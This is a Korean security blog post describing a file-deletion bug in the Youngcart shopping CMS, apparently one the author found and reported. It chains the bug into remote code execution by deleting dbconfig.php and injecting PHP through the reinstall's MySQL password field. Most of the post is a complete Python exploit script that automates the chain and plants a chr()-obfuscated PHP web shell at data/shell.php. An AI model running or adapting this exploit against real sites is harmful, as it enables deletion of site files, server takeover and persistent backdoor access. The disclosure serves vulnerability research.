그누보드를 밥먹듯이 찾다보니 질린 나머지 다른 타켓을 잡아보기로 하였다.
그러다가 발견한게 그누보드를 만든 회사에서 만든 영카트라는 CMS였다. 영카트는 그누보드와는 달리 쇼핑몰을 겨냥해 만든 CMS 였었다 그래서 흥미가 생겨 무작정 소스코드를 열어 하나하나 보다보니 이상한 부분이 있었다.
shop/itemqaformupdate.php 80~ 96 코드를 보면 아래 사진과 같이 되어있었다.
위의 사진에 있는 소스코드의 동작을 대충 설명 하자면
$row['iq_question']의 값을 get_editor_image함수에 넣고 그 리턴값을 $imgs 변수에 저장을 해준다. 이때 $row['iq_question']의 값은 유저가 작성한 상품 문의글 내용이다.
그 후 $imgs 변수를 검사하면서 파일이 서버에 존재 하는지 안하는지 체크를 한후 만약 파일이 존재한다면 삭제를 하는 형식이였다.
그래서 난 get_editor_image 함수의 리턴값을 서버내 중요한 파일로 유도한뒤 그것을 삭제하게 하면 크리티컬 하지 않을까란 생각에 get_editor_image함수의 내부 구조를 살펴보기로 하였다.
생각보다 함수의 크기가 작아서 엄청 다행이였고 그래서 취약점을 찾기가 쉬웠다.
아까도 말했듯이 get_editor_image함수에는 $row['iq_question'] 값이 들어가고 $row['iq_question']값은 유저가 작성한 상품문의글이였다. 이제 대충 눈치를 채셨겠지만 계속 진행을 해보자면 $row['iq_question'] 변수에 정규식 /<img([^>]*)>/iS 에 매치 시킨다면 그 매치된 값이 리턴될테고 그 리턴된 값이 서버에 존재한다면 그 파일이 삭제 될것이다. 아래는 정규식을 매치시킨 예제이다.
띠용? 정규식에 매치시키는것은 쉬웠다. 그런데 취약점을 찾고나서 사람들한테 "야 나찾음 ㅋㅋ!" 하면서 자랑을 했더니 사람들이 반응이 대부분 "그거 삭제 해서 뭐하게" 라는 반응이였다. 그래서 잠시 시무룩 해졌다가 아이디어가 떠올랐다 그누보드든 영카트든 설치할때 구조가 data 디렉토리에 dbconfig.php 파일이 존재하는지 체크를 하고 만약 없다면 설치를 진행하는 구조였고 이 취약점으로 dbconfig.php파일을 지운다면 당연 재설치를 할꺼고 재설치를 하게 되면 웹쉘을 올릴수 있는 가능성이 커진다는 거다는거다.
그래서 install 하는 쪽 코드를 보다보니
install_db.php 파일쪽에서 아래 사진과 같은 부분을 발견하였다.
이걸 보고 아 이거다란 생각이 먼저 들었다. 사실 여기까지만 해도 대부분 사람들은 눈치챌텐대 친절하니 더 진행하기로함.
일단 익스방법은 간단했다 상품문의란에 <img/data/dbconfig.php>란 글을 쓰고 그 글을 삭제한뒤 영카트를 재설치 할때 mysql 비번을 '; phpinfo();// 이런식으로 만든뒤 설치를 하게되면 RCE가 된다.
마지막으로 itemuseformupdate.php 파일에서도 비슷하게 터지는 하나 더 찾아서 제보했으니 분석 해봐도 좋을듯하다.
poc video :
영상 1 : https://youtu.be/L2wp2tf6GuQ
영상 2 : https://youtu.be/fS2hx0q0lrw
full exploit :
import requests
import sys
import random
import string
import time
if len(sys.argv) is 1:
exit("input it_id value")
it_id = sys.argv[1]
cookie = sys.argv[2]
cookie = cookie
print cookie
header = {"cookie":cookie,
"Content-Type":"application/x-www-form-urlencoded"}
payload = {"it_id":it_id,
"iq_subject":"aaaaaa",
"iq_question":"<img/data/dbconfig.php>"}
url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php"
r = requests.post(url, data=payload, headers=header)
url = "http://10.211.55.3/aaa/shop/item.php?it_id=" + it_id
r = requests.get(url, headers=header)
content = r.text.split('<a href="./itemqaformupdate.php?it_id='+ it_id +'&iq_id=')[1]
iq_id = content.split("&")[0]
_hash = content.split("&w=d&hash=")[1].split('"')[0]
url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php?w=d&iq_id="+ iq_id + "&hash=" + _hash
header = {"cookie":cookie}
r = requests.get(url, headers=header)
url = "http://10.211.55.3/aaa/install/install_db.php"
c = string.letters + string.digits
rand_str = ''.join(random.sample(c, 6))
payload = {"mysql_host":"10.211.55.3",
"mysql_user":"webshell",
"mysql_pass":"');eval($_GET[x]);#",
"mysql_db":"webshelldb",
"table_prefix":rand_str,
"g5_shop_prefix":rand_str,
"g5_install":"1",
"g5_shop_install":"1",
"admin_id":"admin",
"admin_pass":"1234",
"admin_name":"admin",
"admin_email":"admin@domain.com"}
header = {"Content-Type":"application/x-www-form-urlencoded"}
r = requests.post(url, data=payload, headers=header)
print "===== RCE ===="
time.sleep(3)
exploit = "file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(46).chr(104).chr(116).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115), chr(32));file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(32).chr(63).chr(62));"
url = "http://10.211.55.3/aaa/?x=" + exploit
r = requests.get(url)
print "http://10.211.55.3/aaa/data/shell.php"